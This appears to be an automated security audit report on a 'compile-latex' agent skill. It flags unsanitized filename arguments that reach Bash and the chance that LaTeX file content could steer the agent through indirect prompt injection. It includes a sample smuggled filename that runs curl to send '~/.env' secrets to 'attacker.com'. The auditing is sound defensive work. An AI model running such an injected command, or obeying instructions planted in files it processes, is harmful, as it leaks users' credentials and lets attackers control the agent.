compile-latex
Fail
Audited by Gen Agent Trust Hub on Oct 7, 2026
Risk Level: HIGHCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill uses the
$ARGUMENTSvariable to construct shell commands (e.g.,xelatex -interaction=nonstopmode $ARGUMENTS.texandopen Slides/$ARGUMENTS.pdf) within theBashtool. Because these arguments are taken directly from user input and are not sanitized, an attacker can provide a filename containing shell metacharacters such as semicolons, ampersands, or backticks (e.g.,main; curl attacker.com/$(cat ~/.env)) to execute unauthorized commands on the host system.\n- [DYNAMIC_EXECUTION]: The skill dynamically generates shell script fragments by concatenating a base command string with user-provided variables. This pattern of script assembly is inherently dangerous when the input source is untrusted or unsanitized.\n- [INDIRECT_PROMPT_INJECTION]: The skill processes content from.texfiles in theSlides/directory and analyzes tool output to report results to the user. This creates a surface for indirect prompt injection where malicious content in the LaTeX source could influence the agent's summary or subsequent actions.\n - Ingestion points:
Slides/$ARGUMENTS.texand the associated stdout from LaTeX tools.\n - Boundary markers: Absent. There are no instructions to the agent to distinguish between tool results and potentially adversarial content within the files.\n
- Capability inventory: The skill utilizes the
Bashtool for compilation, file system traversal, and document viewing.\n - Sanitization: Absent. The agent is instructed to report findings based directly on the contents and warnings of the processed files.
Recommendations
- AI detected serious security threats
Audit Metadata